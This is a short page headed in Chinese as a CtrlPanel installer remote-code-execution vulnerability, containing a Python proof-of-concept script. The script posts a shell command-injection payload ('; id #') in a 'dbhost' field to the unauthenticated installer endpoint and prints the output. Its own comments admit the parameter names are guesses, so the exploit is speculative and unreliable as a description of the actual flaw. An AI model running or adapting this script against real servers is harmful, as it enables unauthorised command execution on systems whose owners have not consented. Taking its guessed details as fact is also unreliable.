CVE-2026-34234 CtrlPanel 远程代码执行漏洞

import requests def exploit_rce(target_url): """ PoC for CVE-2026-34234 Exploits unauthenticated RCE in CtrlPanel installer. """ # The vulnerable endpoint is the installer index url = f"{target_url}/public/installer/index.php" # The vulnerability allows injecting shell commands via user input. # Assuming a parameter like 'step' or 'dbhost' is passed to shell_exec(). # Example payload: "; id # to execute the 'id' command. payload = "; id #" data = { # Parameter names are hypothetical based on common installers # as specific params were not listed in the text description. "step": "2", "dbhost": payload } try: response = requests.post(url, data=data, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Check response for command execution output.") print(response.text) else: print(f"[-] Unexpected status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": target = "http://example.com" # Replace with actual target exploit_rce(target)